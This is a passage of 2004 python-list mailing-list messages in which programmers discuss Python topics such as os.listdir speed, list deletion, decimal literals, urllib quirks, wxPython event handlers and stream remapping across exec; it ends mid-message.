<slrncjf52a.oa.amajorel@vulcain.knox.com> <opsdp09czgpqzri1@mjolner.upc.no> <h0afj09mbdtleke0ughuntobho8f12o8ck@4ax.com> Message-ID: <opsdp4cjnapqzri1@mjolner.upc.no> On Thu, 02 Sep 2004 16:13:20 -0700, Alan Balmer <albalmer at att.net> wrote: > On Fri, 03 Sep 2004 00:40:14 +0200, "John Thingstad" > <john.thingstad at chello.no> wrote: > >> well documented at the time. Linux Pauling started out with minix and >> then >> went on to make a (mostly) posix compliant unix. > > Linux Pauling? I know about Linus Torvalds and Linus Pauling . I don't > think the latter had much to do with Linux. > lol.. oops. No Pauling was a nobel prize winning chemist. No idea why that came out. (assosiative memory can be a bich) -- Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/ From carribeiro at gmail.com Tue Sep 14 10:19:19 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 14 Sep 2004 11:19:19 -0300 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: <1gk3o6h.1gnebbiihpoy9N%aleaxit@yahoo.com> References: <mailman.3261.1095106220.5135.python-list@python.org> <1gk3o6h.1gnebbiihpoy9N%aleaxit@yahoo.com> Message-ID: <864d3709040914071939b07fd@mail.gmail.com> Alex, On Tue, 14 Sep 2004 13:43:46 +0200, Alex Martelli <aleaxit at yahoo.com> wrote: > Carlos Ribeiro <carribeiro at gmail.com> wrote: > > PC just can't handle paths with slashes -- I had to pass backslashes > > to all os.* calls. I never had this issue before, so I don't know if > > it's my Windows version or Python's libray fault (I assume the > > I wonder if it's connected to using some specific internationalized > version of Win98 SE, because, using US and Italian versions thereof, I > had no problems whatsoever with this issue. You're right. I *never* had this issue before. I'm sure that there's a bug somewhere -- mainly because changing the slashes in DrPython code to double-backslashes solved my problem -- but I'm still trying to figure it out. I'm using Python 2.3.2 (not the latest and greatest version, I know), because I'm normally very conservative with my development tools. I'll try to reproduce it and post it to the list. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From aleaxit at yahoo.com Sat Sep 4 08:13:21 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 4 Sep 2004 14:13:21 +0200 Subject: Announcing PyCs, a new Python-like language on .Net References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net> <mailman.2573.1093758218.5135.python-list@python.org> <1093794853.349452@news.commspeed.net> <mailman.2711.1094020820.5135.python-list@python.org> <7Y2dncuabfymLajcRVn-gw@powergate.ca> <1iok6gznts9ad.ch1w241kak6y.dlg@40tude.net> <1gjicas.43o0lh1vo2fnaN%aleaxit@yahoo.com> <174wpg8cpd1fw$.1f5rojuiz30fb$.dlg@40tude.net> Message-ID: <1gjlbcl.1w5zuee1rnvln5N%aleaxit@yahoo.com> Mark Hahn <mark at prothon.org> wrote: ... > >> I see no problem with homonyms, unless it was another computer language. > > > > I do, because often people speak about technologies in contexts that > > doesn't make it clear at all whether one is speaking about a computer > > language or some other kind of technology. > > We are trying to find a new name. It's not easy. Nothing worthwhile is easy. I gave you some suggestions already. > > I applaud your efforts (differently from many around here who seem to > > sneer at them), even though I'm not going to get involved (no version of > > dotNet's CLR runs on the Mac, I believe, so I'm not very interested in > > anything that requires the CLR). But I do believe you CAN do much > > better than this in terms of naming. > > I think you are wrong. People are running the CLR on the Mac. I don't > remember if it is Mono or DotGNU. Yep, I was wrong -- Mono 1.0.1 appears to run fine (tried IronPython on top of it). Happy to be wrong, too!-) Alex From sjdevnull at yahoo.com Mon Sep 27 18:32:10 2004 From: sjdevnull at yahoo.com (G. S. Hayes) Date: 27 Sep 2004 15:32:10 -0700 Subject: Optimizing tips for os.listdir References: <ikrfl05b77p2jlbrp3kehvf5o3u8jp35od@4ax.com> <slrnclg6vb.rjj.nick@irishsea.home.craig-wood.com> Message-ID: <96c2e938.0409271432.23a2b877@posting.google.com> Nick Craig-Wood <nick at craig-wood.com> wrote in message news:<slrnclg6vb.rjj.nick at irishsea.home.craig-wood.com>... > Thomas <2002 at weholt.org> wrote: > > [os.path.join(path, p) for p in os.listdir(path) if \ > > os.path.isdir(os.path.join(path, p))] > > > > to get a list of folders in a given directory, skipping all plain > > files. When used on folders with lots of files, it takes rather long > > time to finish. Just doing a listdir, filtering out all plain files > > and a couple of joins, I didn't think this would take so long. > How many files, what OS and what filing system? > > Under a unix based OS the above will translate to 1 > opendir()/readdir()/closedir() and 1 stat() for each file. There > isn't a quicker way in terms of system calls AFAIK. Under Linux, readdir() returns a struct dirent that has a d_type member indicating the file type (DT_DIR for directories) so you can avoid calling stat() on each file. I thought some BSD systems did this as well. I don't see how to get at this information from Python without making the extra syscalls. From aleaxit at yahoo.com Thu Sep 2 04:42:35 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 2 Sep 2004 10:42:35 +0200 Subject: gmpy 1.0 for python 2.4 alpha 2 Windows-packaged Message-ID: <1gjhex7.v1umq1aye02xN%aleaxit@yahoo.com> Thanks to David Bolen, who did the build, I have been able to make available a win32 packaging for gmpy 1.0 on python 2.4 alpha 2 (should work on any later Python 2.4 as well, but I have no way to check it at all). I can't reach sourceforge at the moment, so I have meanwhile put the exe file up at: http://www.aleax.it/Python/gmpy-1.0.win32-py2.4.exe Users of both gmpy and python 2.4 on windows are invited to dowload and install this, try it out, and let me know. There are a few known glitches David tells me about: """ It seems to pass the tests (other than the scan ones noted) with the exception of a bunch gmpy_test_rnd.rand due to changing traceback output in 2.4. I also had to remove the use of doctest.master since it looks like that's deprecated in 2.4 (it's no longer exported by the module's __all__). """ Thanks to David, and to any users who can help me out, since I can't do any testing on this build myself! Alex From aleaxit at yahoo.com Wed Sep 8 12:16:14 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 8 Sep 2004 18:16:14 +0200 Subject: Remove items from a list References: <ysv%c.32876$Dl4.14767@fe2.texas.rr.com> <mailman.3029.1094638477.5135.python-list@python.org> <9YvPBls/KvrF089yn@the-wire.com> <0oF%c.270317$UTP.260161@twister01.bloor.is.net.cable.rogers.com> Message-ID: <1gjt3fi.2d3yfj19as0i5N%aleaxit@yahoo.com> Dan Perl <dperl at rogers.com> wrote: > But Stan says he tried something like that (see the comment in his code) and > it was still not working. I would still need a more complete code example > to reproduce the problem and figure out what went wrong. Stan was not looping backwards through the list, which as Mel indicated is a crucial part of making this clunky idiom "work" (sorta...): > > The way to remove items from a list is (untested code): > > > > for i in xrange (len (a_list)-1, -1, -1): > > if i_want_to_remove (a_list[i]): > > del a_list[i] > > > > Going through the list backwards means that deleting an item > > doesn't change the index numbers of items we've yet to If you can make this work, you'll end up with *horrible* performance; assuming that on average you're removing a number of items proportional to len(a_list), this loop has O(N^2) performance. That's because a Python list is not a linked-list, but rather a compact-in-memory array... so, while on one hand indexing L[x] is O(1) [NOT O(x) as it would be in a linked list], insertions and deletions somewhere inside the list _are_ O(len(L)), since all items following the insertion or deletion point must be shifted ('down' for a deletion, 'up' for an insertion) to keep the array compact in memory. Building a new list with a list comprehension (or with 'filter') and possibly assigning it to the same name as the old list (or as the contents of the old list, without name rebinding) OTOH is O(N), so it's clearly the right way to go. Alex From tdelaney at avaya.com Fri Sep 3 01:03:37 2004 From: tdelaney at avaya.com (Delaney, Timothy C (Timothy)) Date: Fri, 3 Sep 2004 15:03:37 +1000 Subject: compiling to python byte codes Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE01E44F7D@au3010avexu1.global.avaya.com> Maurice LING write: > I dont't quite get this right. Since x86/PPC uses register operations, > why do virtual machines, like python's and java's, are designed as > stack machines? Why not just stick to registers? Because it's much easier to code a stack-based VM, and also much easier to produce bytecode for a stack-based VM. Once you bring registers into the picture, the lovely, straightforward stack gets turned into a mess of which registers should be used when, etc. Tim Delaney From bokr at oz.net Sat Sep 25 13:54:17 2004 From: bokr at oz.net (Bengt Richter) Date: 25 Sep 2004 17:54:17 GMT Subject: Why not FP for Money? References: <A128D751272CD411BC9200508BC2194D053C79D3@escpl.tcp.com.ar> <mailman.3872.1096056806.5135.python-list@python.org> <cj2ehb$h95$0$216.39.172.122@theriver.com> <1gko25a.yz5cxq1pi7416N%aleaxit@yahoo.com> Message-ID: <cj4bc9$mm6$0$216.39.172.122@theriver.com> On Sat, 25 Sep 2004 11:31:53 +0200, aleaxit at yahoo.com (Alex Martelli) wrote: >Bengt Richter <bokr at oz.net> wrote: > ... >> ISTM maybe decimal _literals_ should be represented internally _exactly_, >> and exactness be preserved in results of expressions involving only >> literals with +-*/ operations. > >IOW, you think that *decimal _literals_* should actually be *rationals*, >and this new type 'rational' should be used only internally for >computation between decimal literals, not otherwise made available to >the user, e.g. for I/O...? If we go to the trouble of introducing a >rational type, why not make it explicitly available to the user then? > Interesting question. IWT that exact decimal literals would have a natural compatibility with a full rational type, just as other exact numerical literals (e.g. integers and longs) would, but I'm not sure that's enough to call for an integrated full rational type. (Practicality beats purity?) A plain decimal literal wouldn't need to be a rational, if you kept a power of ten exponent instead of a denominator when the value is non-integral. I just bumped into the need for some rational capability when considering practical use involving division. Maybe we could call it an exact decimal type, and let its capability be limited to +-*/ unless someone wants to subtype and extend it, and just have some caveats re performance/memory hits if you try to write general polynomial evaluations etc. using it. This limited type would be explicitly available to the user, and could have an explicit constructor that could accept other numeric types (including float plus spec of rounding to create an exact value). (I have a toy that does this much pretty much brute force). The reason for exactness was to get around the issue of what is specified in the Decimal "context" (i.e., default number of decimals and rounding mode) before coming into contact with a Decimal instance that carried a reference to such a context. I suspect anything other than exact computations between literals would lead to counter-intuitive surprises when mixed with Decimal instance terms, or else require annoying cruft in "spelling." Interactively, I would expect exact decimal literals to be assignable and useable in +-* expressions and return exact decimal literals as their __repr__ values, but the question remains what repr(1d/3d) should return. I suppose str(1d/3d) could have an approximate representation. My exactdec toy round-trips eval(repr(x))==x thus: >>> from ut.exactdec import ED >>> x = ED(1)/ED(3) >>> x ED('1 / 3') >>> eval(repr(x))==x True I guess we would need some kind of '1d/3d' representation (perhaps just that?). The trouble is that such a representation, while round-trippable, is not always human-friendly. E.g., >>> ED(1)+ED('2/7') ED('9 / 7') vs e.g. a limited-precision indication of value for the same: >>> (ED(1)+ED('2/7')).round(6) ED('1.285714') I guess a str version could have trailing .. to indicate more decimals, e.g., 1.285714.. I vary repr with value also, e.g., >>> (ED(1)+ED('2/7'))*ED('1e6') ED('9000000 / 7') >>> (ED(1)+ED('2/7'))*ED('1e-6') ED('0.000009 / 7') >>> (ED(1)+ED('2/7'))*ED('1e-26') ED('9.0e-26 / 7') So the concept evolves. Next mutation? ;-) Regards, Bengt Richter From bokr at oz.net Mon Sep 20 11:35:35 2004 From: bokr at oz.net (Bengt Richter) Date: 20 Sep 2004 15:35:35 GMT Subject: bad data from urllib when run from MS .bat file References: <414cb56d$0$58900$75868355@news.frii.net> <cilp2b$l3k$0$216.39.172.122@theriver.com> <414edc1b$0$58892$75868355@news.frii.net> Message-ID: <cimtc7$rtc$0$216.39.172.122@theriver.com> On Mon, 20 Sep 2004 07:33:13 -0600, "Stuart McGraw" <smcg4191 at frii.RimoovThisToReply.com> wrote: >"Bengt Richter" <bokr at oz.net> wrote in message news:cilp2b$l3k$0$216.39.172.122 at theriver.com... >> On Sat, 18 Sep 2004 16:23:40 -0600, "Stuart McGraw" <smcg4191 at frii.RimoovThisToReply.com> wrote: >> >> >I just spent a $*#@!*&^&% hour registering at ^$#@#%^ >> >Sourceforce and trying to submit a Python bug report >> >but it still won't let me. I give up. Maybe someone who >> >cares will see this post, or maybe it will save time for >> >someone else who runs into this problem... >> > >> >================================================ >> > >> >Environment: >> >- Microsoft Windows 2000 Pro >> >- Python 2.3.4 >> >- urllib (version shipped with Python-2.3.4) >> > >> >Problem: >> > urllib returns corrupted data when reading an EUC-JP encoded >> > web page, from a python script run from a MS Windows .BAT >> >file, but not when the same script is run from the command line. >> Just a thought: in case your command line is being interpreted >> by cmd.exe and .bat by something else (command.com?) you could >> check if it makes a difference, e.g., >> >> copy test.bat test.cmd >> >> and try it again? (explicitly as test.cmd, not just test, since any >> same-name .com or .exe or .bat may have priority over .cmd) >> You can probably investigate the latter by something like >> >> [21:54] C:\pywk\junk>echo %pathext% >> .COM;.EXE;.BAT;.CMD > >Well, I'm pretty sure cmd.exe was executing it, but I tried your >suggestion to make absolutely sure. Same results :-( >Given the other (seeming) urllib problem I mentioned in another >post in this thread, which appeared without any involvement >of batch scripts, I am getting more and more suspicious that >urllib is buggy, at least with non-single byte data. > Hm, what happens if you make a test2.py and pass it the name of an output file instead of piping the output from print? In fact, eliminate the encoding and the line generator and everything, and just let test2 copy the entire server data in one single read and write it in binary. I.e, open(sys.argv[2],'wb').write(urllib.urlopen(...).read()) That should show whether python is seeing the identical input from the server. Then you could do it line-wise (not with a print line ending in ",", but with a binary file write). That would say whether line generation chunking on input was doing anything to the data -- if possibly urrlib is buffering/chunking differently for interactive vs bat file. Just grasping at straws, but eliminating chunking, piping, re/encoding, binary vs text mode doubts from the test should show why interactive vs .bat is different IWT. Also, your mention of two-character errors made me wonder about spurious BOMs or such from encoding file substrings as though they were entire files? Would a final print for a final '\n' do anything that might trigger a final flush differently with potential cooking consequence? (why the print with space instead BTW)? What if you just do your own file.write output in binary and control everything? Just some additional thoughts. Sorry the cmd vs bat thing didn't do anything. BTW, what command line options are in use to start your interactive session (it is console, not idle, right?). You didn't seem to have any (e.g. -u) in test.py. Could the .BAT file be seeing a different environment? could the http://.. need quoting? I.e., could the server be seeing a glitched url tail and be sending the same file but with some different option? Hope something gives you a useful idea. That's all I can think of for the moment ;-) Regards, Bengt Richter From FBatista at uniFON.com.ar Wed Sep 22 13:54:46 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Wed, 22 Sep 2004 14:54:46 -0300 Subject: An attempt to use a python-based mini declarative language fo r form definition Message-ID: <A128D751272CD411BC9200508BC2194D053C79B0@escpl.tcp.com.ar> [Carlos Ribeiro] #- -- This is a simple code snippet of the intended form declaration: #- #- class UserForm(Form): #- nickname = TextBox(length=15, default="") #- password = TextBox(length=10, default="", password=True) #- name = TextBox(length=40, default="") #- I'm not proposing a solution here, just a thought. What happens if I don't wan't my form to be like: nickname [ ] password [ ] name [ ] but, for example: nickname [ ] password [ ] name [ ] There should be some way to pass the "location". If you solve this, you got your answer (of course, passing the "location" is not trivial, that's why every GUI toolkit has it own approach). Regards, . Facundo -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20040922/372ff6c4/attachment.html> From bokr at oz.net Sun Sep 19 21:41:06 2004 From: bokr at oz.net (Bengt Richter) Date: 20 Sep 2004 01:41:06 GMT Subject: Math errors in python References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com> <cihrab$1v8$02$1@news.t-online.com> <7xwtyqsmvu.fsf@ruckus.brouhaha.com> <cijurc$4gd$02$1@news.t-online.com> <cil8kl$md2$0$216.39.172.122@theriver.com> Message-ID: <cilcfi$tjm$0$216.39.172.122@theriver.com> On 20 Sep 2004 00:35:33 GMT, bokr at oz.net (Bengt Richter) wrote: [...] > >If you add a small Decimal delta repeatedly, will it get rounded away like the floating point >version, or will accuracy get promoted, or what? Sorry, I haven't read the docs yet ;-/ > I needn't have used 1e-300 to get the effect -- 1e-16 is relatively small enough: >>> acc = 1.0 >>> for i in xrange(100): acc += 1e-16 ... >>> acc 1.0 >>> ED(acc, 'all') ED('1') >>> ecc = ED(1) >>> for i in xrange(100): ecc += ED('1e-16') ... >>> ecc ED('1.00000000000001') Regards, Bengt Richter From fgeiger at datec.at Sun Sep 12 14:57:42 2004 From: fgeiger at datec.at (F. GEIGER) Date: Sun, 12 Sep 2004 20:57:42 +0200 Subject: Returning Ref. to Runtime Created Control References: <di49k0945hi9n73nkc0cnajk2af0e9k2mm@4ax.com> Message-ID: <ci2676$fun$1@newshispeed.ch> "Gary" <probably.a.bogus.address at wi.rr.com> schrieb im Newsbeitrag news:di49k0945hi9n73nkc0cnajk2af0e9k2mm at 4ax.com... > Good afternoon: > > I've playing with dynamically created buttons in Boa Constructor using > wxPython: > > def OnBtnButton(self, event): > btnIds = [] > self.btn2 = [] > xx = 24; yy = 42 > for cntr in range(168): > self.btn2.append(wxButton(self.panel1, -1, str(cntr + 1), > wxPoint(xx, yy), wxSize(23, 23), 0)) > rr = self.btn2[cntr].GetId() > > yy += 26 > > if (yy + 44) > 380: # Nearing bottom of frame > yy = 42 # Back to top of frame > xx += 26 # starts new column > > btnIds.append(str(rr)) > > func = ['self.BtnFunc1', 'self.BtnFunc2', 'self.BtnFunc3'..] > > for ew in range(24): > EVT_BUTTON(self, self.btn2[ew].GetId(), eval(func[ew])) > > def BtnFunc1(self, event): > self.t1.SetValue("btnOne") > > def BtnFunc2(self, event): > self.t1.SetValue("btnTwo") > > def BtnFunc3(self, event): > self.t1.SetValue("btnThree") > > # etc. > > How can I press one of the buttons and have it return a reference to > itself? (Some other languages have something like root._name or > self._name). Thanks. > -- def _onAnyOfMyButtons_(self, event): theResponsibleButton = event.GetEventObject() return This way you only need *one* handler for hundreds of buttons. You could derive your own button so that you could write: def _onAnyOfMyButtons_(self, event): theResponsibleButton = event.GetEventObject() theResponsibleButton.writeYourDataToMyControl(self.t1) return Or if your subclassed button own an attribute 'index': def _onAnyOfMyButtons_(self, event): theResponsibleButton = event.GetEventObject() self.t1.SetValue("Button %d was pressed. " % theResponsibleButton.index) return HTH Franz GEIGER From JSmuts at clover.co.za Mon Sep 27 06:51:54 2004 From: JSmuts at clover.co.za (Jaco Smuts) Date: Mon, 27 Sep 2004 12:51:54 +0200 Subject: Optimizing tips for os.listdir In-Reply-To: <ikrfl05b77p2jlbrp3kehvf5o3u8jp35od@4ax.com> Message-ID: <OF7780AEAE.814786A5-ON42256F1C.003BA31B-42256F1C.003BAF09@clover.co.za> I have not tested the speed on this, but I use the os.walk module for similair functionality. Thomas <2002 at weholt.org> Sent by: python-list-bounces+jsmuts=clover.co.za at python.org 09/27/2004 12:44 PM To: python-list at python.org cc: Subject: Optimizing tips for os.listdir I'm doing this : [os.path.join(path, p) for p in os.listdir(path) if \ os.path.isdir(os.path.join(path, p))] to get a list of folders in a given directory, skipping all plain files. When used on folders with lots of files, it takes rather long time to finish. Just doing a listdir, filtering out all plain files and a couple of joins, I didn't think this would take so long. Is there a faster way of doing stuff like this? Best regards, Thomas -- http://mail.python.org/mailman/listinfo/python-list -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20040927/4ece9c95/attachment.html> From roman.yakovenko at actimize.com Thu Sep 9 07:10:51 2004 From: roman.yakovenko at actimize.com (Roman Yakovenko) Date: Thu, 9 Sep 2004 14:10:51 +0300 Subject: Set and {} comparison confusion Message-ID: <2D89F6C4A80FA547BF5D5B8FDDD04523060CCA@exchange.adrembi.com> > -----Original Message----- > From: Alex Martelli [mailto:aleaxit at yahoo.com] > > > Roman Yakovenko <roman.yakovenko at actimize.com> wrote: > ... > > classes have __eq__, __ne__. Classes are mutable - I can't define > > __hash__ function. __lt__ - I can implement but it will be > meaningless. > > As long as it respects the fundamental semantics constraints such as: > a < b and b < c imply a < c > a < b implies not (a == b) > a < b implies (a != b) > not (a < a) for any a > and so on, your __lt__will not be 'meaningless' but very useful. Well I am not talking about algebra. Those rules are clear to me. > Basically, __lt__ is meaningful if it's transitive, > non-reflective, and > compatible with your == and != (which I assume are compatible > with each > other); a transitive non-reflective < defines implicitly an > equivalence > relation, a eqv b <--> not (a < b or b < a), and you need your == to > express exactly that equivalence relation... so if your == is > meaningful, your < can't really be 'meaningless'!-) I don't agree with you. I can compare properties of some object. For example I can compare cows: one python is longer then other ( length ) one python is heavier then other ( weight ) one python is older then other ( age ) But I can't define meaningful operator "<" on pythons. I can compare pythons only property by property. I don't thing that next code is meaningful def __lt__( self, other_python ): return self.length < other_python.length \ and self.weight < other_python.weight \ and self.age < other_python.age I see this code as meaningless on python's. > > Thank you for help. I think I have a dicision: > > 1. I will implement meaningless __lt__ > > 2. I will sort ( I don't have duplicated items ) every time > I need to compare > > 2.1 Because sort is happen in place next time it will take > less time to sort. > > Yes, that does seem to make sense to me. Once two lists without > duplicates are sorted, they're equal as sets iff they're == as lists; > and yes, maintaining sorted order is typically quite cheap in > Python due > to Tim Peters' powerful natural mergesort algorithm as implemented > inside list.sort (though it might be worth having a look at the bisect > module, it's likely going to be faster to just sort the lists each > time). > > > > Again - Thanks for help. It was very usefull. It seems that > I had wrong > expectation > > from set - " unordered set collection based only on > comparison operators". > > My mistake. > > Ah, isn't set documented to need hashable elements? It should be. Of > course, _why_ your class appears to be hashable when it defines __eq__ > and not __hash__ I dunno -- Python should diagnose that, but it does't > appear to... It is my fault too. All my classes derives from object. object do implements __hash__ function. I think I should raise exception if somebody tries to insert object into set \ dictionary > Alex > -- > http://mail.python.org/mailman/listinfo/python-list > From ruchika_khera at hotmail.com Thu Sep 9 01:33:16 2004 From: ruchika_khera at hotmail.com (Ruchika) Date: 8 Sep 2004 22:33:16 -0700 Subject: Autoindent error Message-ID: <82880e86.0409082133.6eb7840a@posting.google.com> Hi, I started writing Python scripts just today and seem to almost always get the "Autoindent error". Can anyone tell me what this problem is? Am I not doing something right? Do we need to follow some indentation guidelines when wrting Python scripts? Thanks for your help. Ruchika From bwilk_97 at yahoo.com Sun Sep 19 08:07:35 2004 From: bwilk_97 at yahoo.com (Bill Wilkinson) Date: 19 Sep 2004 05:07:35 -0700 Subject: wxPython Not Ready for Commercial Use References: <dcf37d82.0409160827.1de98db9@posting.google.com> <8e61d9bd.0409180335.3f5c9e58@posting.google.com> <xQ53d.10207$g%5.124689@news2.e.nsc.no> Message-ID: <8e61d9bd.0409190407.4a421782@posting.google.com> Baalbek <thats at it.com> wrote in message news:<xQ53d.10207$g%5.124689 at news2.e.nsc.no>... > Bill Wilkinson wrote: > > I use Jython with the POI libraries for publishing to Excel. > > http://jakarta.apache.org/poi/ > > The Jython/POI combination is indeed my favourite way of dealing with > Excel, BUT somehow reading Excel files 500KB and larger takes an > incredible amount of time (f.ex reading a document about 600Kb makes me > sit and wait for several minutes). > > Any idea why the POI takes such a long time to read relatively small > Excel files (it's not Jython's fault, I tested the POI classes in Ant, > and same thing there). > > Baalbek hmmm, yes, it can be slow like that. I don't know the reasons. But there is competition, Java Excel API. Which is also a hoot from Jython. http://www.andykhan.com/jexcelapi/ It is supposedly faster. Bill From alanmk at hotmail.com Sat Sep 11 10:43:01 2004 From: alanmk at hotmail.com (Alan Kennedy) Date: Sat, 11 Sep 2004 15:43:01 +0100 Subject: Jython as embedded Marco language In-Reply-To: <ZPk0d.163804$Fg5.124739@attbi_s53> References: <ZPk0d.163804$Fg5.124739@attbi_s53> Message-ID: <Z4E0d.27047$Z14.9029@news.indigo.ie> [Charles Griswold] > I'm considering using Jython as an embedded macro language within a > large java app. > > Has anyone had experience in such an endevor? Yes. -- alan kennedy ------------------------------------------------------ email alan: http://xhaus.com/contact/alan From sbabbitt at commspeed.net Mon Sep 13 14:04:22 2004 From: sbabbitt at commspeed.net (Tom B.) Date: Mon, 13 Sep 2004 11:04:22 -0700 Subject: ANN:A wxHtmlWindow forms implementation. References: <1095057128.250036@news.commspeed.net> <mailman.3244.1095095969.5135.python-list@python.org> Message-ID: <1095099272.161418@news.commspeed.net> "Carlos Ribeiro" <carribeiro at gmail.com> wrote in message news:mailman.3244.1095095969.5135.python-list at python.org... > Tom, > > I've downloaded your code but wasn't able to run the demo. It stops > with a "no module named Main" exception. In fact, no such module is > mentioned in your message. > > BTW, it would be useful if you added a small description to your > package announcement -- what it does, what is it useful for, etc. I'm > checking it out of curiosity, but I admit that I don't know exactly > what to expect. > > Best regards, > I guess i forgot to mention it requires wxPython found at http://www.wxpython.org/ , the wxHtmlWindow does not process or display form tags from HTML pages this is an implimentation of that. You can see a screenshot at http://users.commspeed.net/tbabbitt/rbranch_strangness5.htm Tom From indigo at bitglue.com Fri Sep 10 19:42:55 2004 From: indigo at bitglue.com (Phil Frost) Date: Fri, 10 Sep 2004 19:42:55 -0400 Subject: if-else-then In-Reply-To: <a2e43d1f.0409101534.3a0a5cfe@posting.google.com> References: <a2e43d1f.0409101534.3a0a5cfe@posting.google.com> Message-ID: <20040910234255.GA31112@unununium.org> "=" and "==" are two different operators in Python. "=" is the asignment operator; it asigns values to names. "==" is the equality operator; it returns true if its operands are equal. Also, to compare name to a string, the string must be in quotes. Without quotes, python will look for a varable named "Stickie". Furthermore, defining main won't make it run. A common idiom is to check __name__ and run main. If the file is being run as a program, as opposed to being imported as a module, __name__ will be "__main__". Also, I don't see need for the "n" parameter, or the time.sleep(). I have removed them. Here is your program with these points applied: #=========== def main(): name = raw_input("Please enter your name: ") if name == "Stickie": print 'Yo masta', name else: print "Your name is", name if __name__ == '__main__': main() #=========== On Fri, Sep 10, 2004 at 04:34:58PM -0700, TuPLaD wrote: > Hi, i got the following script: > > name = raw_input("Please enter your name: ") > print "Your name is", name > > but i want it that way: > > if > name = Stickie > then > print "You be di man" > > how do i do it ? > > This i what i have from a tutorial, but with syntax errors i dont know > what im doing wrong :( > > #!C:\Python23\python.exe > # My first Python Application ! > # By TuPLaD > # [email]spawnxx at pandora.be[/email] > > import time > def main(n): > name = raw_input("Please enter your name: ") > if name = Stickie: > print 'Yo masta', name > else: > print "Your name is", name > > time.sleep(5) > > what should i do ? From steven.bethard at gmail.com Tue Sep 7 03:21:47 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Tue, 7 Sep 2004 07:21:47 +0000 (UTC) Subject: docs on for-loop with no __iter__? References: <mailman.2873.1094321890.5135.python-list@python.org> <bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net> <mailman.2879.1094332737.5135.python-list@python.org> <Fvq_c.379$ip2.170@newsread3.news.pas.earthlink.net> <mailman.2883.1094340967.5135.python-list@python.org> <9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net> <mailman.2913.1094451430.5135.python-list@python.org> <1gjpr95.1h39l9v1wuwuuN%aleaxit@yahoo.com> <mailman.2944.1094506599.5135.python-list@python.org> <1gjpv1h.1qtomfg1hhx5h2N%aleaxit@yahoo.com> <mailman.2955.1094538759.5135.python-list@python.org> <1gjqisz.ujlgcqe74dvtN%aleaxit@yahoo.com> Message-ID: <loom.20040907T091810-178@post.gmane.org> Alex Martelli <aleaxit <at> yahoo.com> writes: > At this point, I suspect you didn't mean that "always" in the way I read > it, but I don't think my reading of it was unreasonable. Starting from > the default assumption that miscommunications are most often due to both > speaker and listener, I'm quite willing to take my half share of > responsibility for this one if you're willing to take yours, and we can > call it quits. Ahh, yeah, I'm sorry, I didn't even realize that reading of "always" was possible. When I wrote "Same reasons Python always breaks old code" I intended the reading "For the only reasons that Python ever breaks old code", but I can see the other reading now... Yup, I'll take my half. =) Steve From grante at visi.com Sun Sep 12 12:16:55 2004 From: grante at visi.com (Grant Edwards) Date: 12 Sep 2004 16:16:55 GMT Subject: Python bell or beep References: <1B64CD41A257784EAD82424FC8915F840EADC11C@NYCEXMB15.pfizer.com> <cht1cc$ero$1@sea.gmane.org> <mailman.3173.1094848606.5135.python-list@python.org> <9f26450b.0409120811.5a4647c2@posting.google.com> Message-ID: <41447677$0$65599$a1866201@newsreader.visi.com> On 2004-09-12, Michael Scarlett <caroundw5h at gmail.com> wrote: >> >>I am a former BASIC programmer. Is there a command I can place in a >> >>Python program to make a beep or buzz or bell? >> >> There are various ways, most platform/shell specific. If you happen to >> be on Windows, check out the standard module winsound. > or just do this [code] > print "\a" > [/code] > > not too hard not too effective. ;) At least not on my system where terminals don't beep when you send them a BEL character. -- Grant Edwards grante Yow! HOORAY, Ronald!! Now at YOU can marry LINDA visi.com RONSTADT too!! From peter at engcorp.com Mon Sep 27 22:32:33 2004 From: peter at engcorp.com (Peter Hansen) Date: Mon, 27 Sep 2004 22:32:33 -0400 Subject: finding time when url was modified In-Reply-To: <mailman.3988.1096336962.5135.python-list@python.org> References: <mailman.3986.1096334803.5135.python-list@python.org> <5r36d.524$gk.491@okepread01> <mailman.3988.1096336962.5135.python-list@python.org> Message-ID: <yIWdnZvyE_ffUMXcRVn-vg@powergate.ca> Ajay wrote: > is it possible for someone to change the Last-Modified header? Can someone > put a new updated document, but in such a way that if someone requests > that document, they get an old date rather than the new date? > i can see a CGI script add its own header and then write out the document. > but can this be done with a simple HTML page? Certainly... the server can do anything it wants with that header, including failing to provide it, providing an invalid date, providing a date in the future or distant past, or even providing a date that happens to correspond exactly with the true "last modified" date of the document... Whether a *particular* server will do that with a *particular* kind of document is a different question altogether. Do you have a specific situation involving this that you can describe, or are you just asking in general, out of curiosity? -Peter From donn at u.washington.edu Tue Sep 28 16:08:04 2004 From: donn at u.washington.edu (Donn Cave) Date: Tue, 28 Sep 2004 13:08:04 -0700 Subject: execl() and inheritied streams References: <4159b1d6$1@nntp.zianet.com> Message-ID: <donn-209231.13080428092004@gnus01.u.washington.edu> In article <4159b1d6$1 at nntp.zianet.com>, "Erik Johnson" <ej <at> wellkeeper <dot> com> wrote: > I am trying to use Python to remap stdout and stderr to a log file for > an exec()'ed program. > The following code seems to work fine for the script itself, but my > expectation was that the exec'ed program would inherit its STDIN and STDOUT > and so would be printing to the log file also. Unfortunately, that is not > the case: the print statements in the spawned process come back to the > screen. So... I'm a little puzzled and am not finding information on how to > remap the file descriptors other than to set sys.stdin, sys.stdout, > sys.stderr. sys.stdin etc. are objects that live in the Python interpreter. Basically, they're a buffer plus a file descriptor, plus some functions. Similar to the C stdio FILE object, which in fact is underneath the Python fileobject. Objects in interpreter memory space do not survive an exec. You want to remap the standard UNIX file descriptors 0 (input), 1 (output) and 2 (error). They are the system level I/O streams that will survive exec. Like, fd 